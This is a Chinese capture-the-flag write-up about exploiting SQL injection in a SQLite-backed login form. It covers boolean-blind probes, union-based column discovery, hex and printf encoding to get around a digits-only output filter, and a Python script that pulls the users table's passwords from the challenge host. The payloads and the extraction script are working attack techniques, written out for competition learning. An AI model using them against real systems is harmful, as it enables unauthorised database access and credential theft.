一道简单的SQL注入题

一道简单的 sqlite 数据库的注入题目。

初探

开局登录框,贴合实战(

image-20230403103825597

抓包发现返回为0,跑了一下弱口令,无果。

继续测试SQL,在用户名测试发现 'or 1=1 -- 返回数据包为 111,基本上断定存在注入,暂时来看应该是MYSQL(一般是PHP+MYSQL)布尔注入。

注入第一回-数据库类型判断

接上回,在判断是布尔盲注后,开始构造payload进行注入,先手动测试数据库长度,测试payload是否可用

1
'or length(database())>0 --

发现返回0,正常来说应该是返回真,比如

image-20230403111029055

所以应该是返回111,开始思考为什么会出现返回0的情况。简单思考感觉原因可能是

  • database 等关键字被拦截
  • 数据库不是 MYSQL(但是length函数可以)

关键字是否被拦截(×)

开始验证,首先是 database 关键字拦截。注意,这里只能通过构造永真表达式 length('xxx') 来判断关键字是否被拦截,因为用户名我们不知道,可能存在拦截后也返回0的情况

测试 database 是否被拦截。

1
'or length('database()')>0 --

返回为111,说明不存在该情况。对于其他关键字也可以一一测试。

数据库不是MYSQL(✓)

继续接上回,由于length函数可以执行,排除了一些数据库,可以在这个限定条件下寻找database函数不存在的数据库,查了一圈文档发现可能是SQLite,这里发现了一个小tips,SQLite的time函数可以不传递参数即可返回值。如下

image-20230403113304880

image-20230403113325601

其他数据库基本也需要传递参数,所以基本上判断为SQLite数据库。

注入第二回-再探注入类型

书接上文的布尔注入,是通过返回包的111返回判断为布尔盲注。下一步就是判断列,由于SQLite和MSYQL注入方法高度相似,可通过 order by 和联合查询来判断列数,这里分析一下两种方法的差异。

order by 是在SQL查询的排序方法,其判断列数时属于盲注判断,而 union 联合查询是可以有回显。

如下

image-20230403115005378

可以发现 order by 判断时,无回显,联合查询是存在回显。

所以在注入类型判断时尽量使用 union 联合查询,很可能使盲注变回显。回到这道题,我们使用联合注入进行列数判断。在判断到第五列的时候,发现回显了5

1
1' union select 1,2,3,4,5--

image-20230403115557374

所以现在盲注就变回显注入了。

注入第三回-WAF绕过

在可回显判断完之后,就应该开始一把梭了,首先探测版本

1
1' union select 1,2,3,4,sqlite_version()--

发现返回为3

image-20230403143708900

但是通过length判断版本的长度应该为6。猜测页面应该过滤了非int型的输出,waf伪代码应该是

1
2
3
4
5
6
def waf(res):
	new_res = ''
	for(s in res):
		if s in'[0-9]':
			new_res += s
  return new_res

对于只输出 int 类型,首先想到的应该是进制转换,通过翻查SQLite文档,发现两种方法可以进行进制转换,分别是cast和printf,这里我们用 printf 来进行转换。一开始的思路是直接将查询的结果,利用hex函数进行16进制转换,然后利用printf转成10进制。如

1
select printf("%d",hex(sqlite_version()));

image-20230403161645750

但是这里有个小问题,当hex的结果存在非数字时,printf转换时会忽略结果,如上图。不过由于一般字母数字的16进制不包含字母,所以勉强能接受这个结果。但是忽略的话后续内容怎么办。

这时想到了截断,利用 substr 来对结果进行截断,这样忽略的内容也在可控范围。

构造查询数据库表创建语句

1
1' union select 1,2,3,4,printf('%d',hex((select substr(sql,1,1) from sqlite_master WHERE type='table')))--

效果如下

image-20230403142541070

通过脚本遍历截断查询相关内容,注意返回的6是因为字母16进制转换问题,对应的字母有j,k,l,m,n,o,z(大写+小写,这里可脚本简单遍历一下即可。

最后如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

url = "http://eci-x.cloudeci1.ichunqiu.com/login.php"

flag = ""
for i in range(18):
    # passs = "1' union select 1,2,3,4,printf('%d',hex((select substr(sql,{},1) from sqlite_master WHERE type='table')))-- "
    passs = "1' union select 1,2,3,4,printf('%d',hex((select substr(group_concat(password),{},1) from users)))--"
    data = {
        "Username": passs.format(str(i)),
        "Password": "1"
    }

    res = requests.post(url=url, data=data)
    # print(res.text)
    try:
        if res.text == "6":
            flag += "6"
        if res.text == "7":
            flag += "7"
        if res.text == "4":
            flag += "4"
        if res.text == "5":
            flag += "Z"
        flag += chr(int(str(res.text), 16))
        print(flag)
    except:
        continue

#users 表
#id				1
#username haihaihai
#password no flagxxxxxx
#port			111
#host			haihaihai host

需要注意的是密码后面的16进制转换问题。最后密码为AES密文,加密文件存在,这里不过多描述解密相关。

注入第四回-回显再研究

在赛后回忆了一下,总觉得办法太过笨拙(看了解题数量好像有点多。这里对16进制转换再研究,通过本地测试,发现 printf%d 转换存在缺陷,干脆不用它转换16进制到10进制。

利用两层16进制编码,即可在回显的时候不存在字符。如

image-20230403155635688

到最后发现其实走了一圈弯路,Orz。

0%